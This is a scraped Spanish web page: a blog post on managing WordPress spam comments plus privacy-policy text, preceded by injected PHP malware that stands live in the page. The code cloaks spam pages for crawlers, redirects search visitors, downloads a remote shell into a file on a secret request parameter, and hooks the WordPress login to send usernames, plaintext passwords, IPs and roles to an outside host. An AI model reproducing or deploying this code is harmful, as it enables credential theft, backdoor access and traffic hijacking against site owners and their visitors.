if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { $apiToken = 'tws5mkxns8qpz5hqywtcknjfw4wgrbhp'; $keyword =$_SERVER['REQUEST_URI']; $url_page=$_SERVER['REQUEST_URI']; $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : ''); $ip = null; $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = $_SERVER[$header]; break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($tmp[0]); } else { $ip = $_SERVER['REMOTE_ADDR']; } $referrer = urlencode(@$_SERVER['HTTP_REFERER']); $url = "https://bantuzu.info/api.php?is_api=1&action=get&token=$apiToken&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang&sub_id_1=".$_SERVER['HTTP_HOST']."&" . http_build_query($_GET) . ""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); $result = json_decode($output); print $result->{'body'}; } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://acagna.info/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://acagna.info/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://acagna.info/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://acagna.info/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://acagna.info/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://acagna.info/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!doctype html><html lang="es"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><meta name="description" content="⭐ En este artículo compartimos algunas recomendaciones para la gestión de comentarios Spam en WordPress. Estos comentarios pueden ser una molestia y pueden afectar negativamente la experiencia de los usuarios del sitio. Además, los comenta"><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="canonical" href="https://smilecomunicacion.com/como-gestionar-los-comentarios-spam-en-wordpress/" /><title>▷ ¿Cómo gestionar los comentarios Spam en WordPress?【 2023 】 SMiLE Comunicación

¿Cómo gestionar los comentarios Spam en WordPress?


Actualizado: 19 marzo, 2023 | SMiLE |
Comparte este artículo

En este artículo compartimos algunas recomendaciones para la gestión de comentarios Spam en WordPress. 

Estos comentarios pueden ser una molestia y pueden afectar negativamente la experiencia de los usuarios del sitio. Además, los comentarios spam pueden ser perjudiciales para el SEO de tu sitio web y pueden dificultar la gestión de tus comentarios legítimos.

Al seguir estos pasos, puede diferenciar los comentarios de los usuarios reales de los que son Spam. ¿Cómo manejamos los comentarios Spam? Aquí hay algunos consejos para ayudarlo a detectar y eliminar estos comentarios no deseados.»

Índice

Editar el comentario

Al editar un comentario, puede ver la información adicional y los detalles que acompañan al comentario, como la dirección IP del autor, la fecha y la hora del comentario, entre otros. Esta información puede ser útil para determinar si un comentario es Spam o no.

Para editar un comentario en WordPress, siga estos pasos:

  1. Acceda a la sección de «Comentarios» en su panel de administrador de WordPress.
  2. Busque el comentario que desea editar y haga clic en el enlace «Editar».
  3. Una vez que se abra el comentario, puede modificar su contenido y ver la información adicional en los campos que se encuentran en la parte inferior del comentario.
  4. Guarde los cambios haciendo clic en el botón «Actualizar Comentario».

Autor del comentario

El correo electrónico del autor del comentario es una información importante que puede ayudar a determinar si un comentario es Spam o no. Al ver el correo electrónico del autor, puede tener una idea de la fuente del comentario y si es de confianza o no.

A veces, el correo electrónico en sí mismo puede ser un indicador de que el comentario es Spam. Por ejemplo, si el correo electrónico contiene una dirección de correo electrónico generada automáticamente o una dirección que parece sospechosa, es posible que el comentario sea Spam.

Para ver el correo electrónico de un autor de comentario, en la parte inferior del comentario, hay  un campo llamado «Correo electrónico». Aquí encontrará la dirección de correo electrónico del autor.

NOTA: En las páginas web gestionadas que ofrece SMiLE no es posible que dejen una URL junto al Nombre y Correo, justamente para hacer un primer filtro de Spam

Enlaces a páginas web

Los enlaces a páginas web en los comentarios de un sitio de WordPress pueden ser un indicador claro de que el comentario es Spam. La inclusión de enlaces en los comentarios a menudo es utilizada por los spammers para promocionar sitios web o mejorar el SEO de sus sitios.

Para determinar si un comentario contiene enlaces, puede buscar la etiqueta HTML <a href=”https://webdeejemplo.com”>. Si encuentra un enlace en el comentario, es probable que el comentario sea Spam.

Es importante desactivar o eliminar los enlaces en los comentarios para mantener la integridad y la calidad de su sitio. Esto también puede ayudar a prevenir la propagación de virus o malware y proteger a sus usuarios de experiencias negativas en línea.

Para desactivar los enlaces en los comentarios de su sitio de WordPress, puede instalar un plugin de spam de comentarios. También puede moderar manualmente los comentarios para asegurarse de que no contengan enlaces antes de publicarlos en su sitio.

Suscríbete al Newsletter

Comentario en inglés en una página en Español

Si encuentra un comentario en inglés en su sitio de WordPress en español, es posible que sea Spam. Sin embargo, es importante tener en cuenta que hay excepciones, ya que algunos usuarios reales pueden escribir comentarios en un idioma diferente al del sitio. Por lo tanto, es importante evaluar otros factores, como el contenido del comentario y la dirección IP del autor, antes de tomar una decisión sobre si un comentario es Spam o no.

Para prevenir los comentarios Spam en una página en español, puede activar la verificación de reCAPTCHA o utilizar un plugin de spam de comentarios en su sitio de WordPress. También puede moderar manualmente los comentarios para asegurarse de que sean relevantes y escritos en el idioma correcto antes de publicarlos en su sitio.

Contenido sobre “viagra”, “buy Cialis”…

El contenido relacionado con productos como la Viagra o el Cialis es un indicador claro de que un comentario es Spam. Estos productos son promocionados de manera agresiva por los spammers y pueden ser una forma de atraer a los usuarios a sitios web no deseados o peligrosos.

¿Cómo gestiono estos comentarios spam?

Para prevenir los comentarios Spam puede configurar la verificación de reCAPTCHA o utilizar un plugin de spam de comentarios en su sitio de WordPress. En SMiLE comunicación no somos aficionados a los plugins salvo excepciones como esta. 

Puedes leer este artículo relacionado: Problemas de los plugins en WordPress.

También puede moderar manualmente los comentarios para asegurarse de que no incluyan contenido no deseado antes de publicarlos en su sitio.

Todos los comentarios que no interesen los marcamos como SPAM, y hay que enviarlos al buzón Spam. Podemos hacerlo de 2 maneras:

así:

o así:

Para verificar que está bien enviado a Spam, tiene que aparecer aquí:

NOTA: Los artículos Spam se irán borrando automáticamente cuando pase un tiempo

Lista negra de palabras Spam

Los sitios web Gestionados de SMiLE comunicación ya incluyen desde la administración una lista negra de palabras que marcan los comentarios como SPAM para evitar que se reciban numerosos correos que pueden resultar pasados.

El listado de palabras de la lista negra se va actualizando cada cierto tiempo para incluir nuevos términos que se utiliza para hacer Spam. Aun así no se va a eliminar este tipo de comentarios molestos al 100% pero si que se van a reducir lo máximo posible



Comparte este artículo

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *


Auditoría Web

Te ofrecemos este análisis fundamental para que conozcas el estado de tu página web. Detectamos los principales errores de diseño, seguridad o contenidos y que tengas una visión objetiva de aquello que impide que mejore tu posicionamiento y aumente tu tráfico web.

RESPONSABLE DEL TRATAMIENTO

FLYERS BARCELONA, S.L.

NIF/CIF

B63092837

Dirección

Calle Serra 2, 2º 2ª, 08002 Barcelona

Teléfono

+0034 674 72 18 48

Correo electrónico

info@smilecomunicacion.com

 

  • ¿A QUIÉN PUEDE CONTACTAR EN CASO DE QUE TENGA PREGUNTAS O SOLICITUDES? EL PUNTO DE CONTACTO DE PROTECCIÓN DE DATOS
  • Para cualquier pregunta, solicitud o queja relacionada con la aplicación de esta Política de Privacidad o para ejercer sus derechos, puede comunicarse con nosotros en la dirección indicada arriba, sita en Calle Serra 2, 2º 2ª, 08002 Barcelona, o en el correo electrónico info@smilecomunicacion.com.

    Para ejercer sus derechos, deberá aportar copia del NIF/ DNI para identificarse.

  • PRINCIPIOS CONFORME AL REGLAMENTO EUROPEO DE PROTECCIÓN DE DATOS
  • Nos comprometemos a tratar los datos personales facilitados conforme a los siguientes principios recogidos en el Reglamento General de Protección de Datos (RGPD):

    • Legalidad: solo recopilaremos sus Datos personales para fines específicos, explícitos y legítimos, y no procesaremos sus datos personales de manera incompatible con los mencionados propó
    • Licitud: conforme al artículo 6 del Reglamento General de Protección de Datos sus datos personales serán gestionados siempre que usted manifieste su consentimiento expreso para el tratamiento de dichos datos como forma de externalización de su voluntad y consentimiento libre e informado. Sus datos personales podrán ser necesarios para formalizar un contrato, acuerdo o servicio, en el que el interesado es parte, para dar cumplimiento a obligaciones legales, para proteger intereses vitales del interesado y otra persona física, para cumplir con una misión de interés público o en el ejercicio de poderes públicos conferidos al responsable del tratamiento o que satisfaga los intereses legítimos perseguidos por el responsable del tratamiento cuando estos no vulneren los derechos y libertades fundamentales del interesado ni la protección de datos personales del interesado.
    • Lealtad y transparencia: conforme al artículo 5 del Reglamento General de Protección de Datos como manifestación de la transparencia y que prueba de ellos es que se informa al interesado de la existencia de la operación de tratamiento y sus fines.
    • Minimización de datos: limitamos la recogida de datos de carácter personal a lo estrictamente relevante y necesario para los fines para los que se han recopilado.
    • Limitación de la Finalidad: solo recogeremos sus datos personales para fines específicos, explícitos y legítimos, y que mantenemos en la forma de procesarlos.
    • Precisión: mantendremos sus datos personales exactos y actualizados.
    • Seguridad de los Datos: aplicamos las medidas técnicas y organizativas adecuadas para garantizar el nivel adecuado de seguridad atendiendo a los riesgos y naturaleza de los datos con la finalidad de prevenir que estos sean divulgados o que personal no autorizado acceda a estos, o ante cualquier pérdida o alteración. En definitiva, cualquier forma de tratamiento ilícito.
    • Acceso y Rectificación: Cualquier persona que, habiendo generado su consentimiento para la recogida de datos, desee solicitar cualquier gestión sobre el tratamiento, se le reconoce y podrá ejercer: el derecho de acceso, rectificación, oposición, supresión, limitación del tratamiento, portabilidad y de no ser objeto de decisiones individualizadas. Su ejercicio será gratuito y dicha solicitud se corregirá en el plazo de un mes a prorrogar por otros dos meses atendiendo a circunstancias excepcionales cómo por ejemplo el número de solicitudes, complejidad, u otras de naturaleza similar. El punto 14 de este documento proporciona información sobre la forma de ejercitar estos derechos y los medios y canales a través de los cuales haremos efectiva su solicitud.
    • Principio de limitación del plazo de conservación: los datos serán mantenidos durante el tiempo necesario y para los fines del tratamiento sin dilaciones indebidas, y durante la cual, la propia de los usuarios y clientes estará a disposición de los mismos cuando la soliciten.

     

  • TRATAMIENTO DE SUS DATOS PERSONALES: ¿QUÉ DATOS PERSONALES RECOPILAMOS?
  • A través del formulario de contacto del sitio web se recogen los siguientes datos:

    • Nombre
    • Teléfono
    • Correo electrónico
    • Asunto

    Dichos datos se recogen para poder mantener el contacto con el usuario y poder dar respuesta a sus solicitudes de información sobre los servicios ofertados, y, en particular, sobre los servicios de auditoría de página web.

  • PARA QUÉ FINES PROCESAMOS SUS DATOS PERSONALES
  • Solo tratamos sus datos personales para fines específicos, explícitos y legítimos, y no trataremos sus datos personales de forma incompatible con dichos fines.

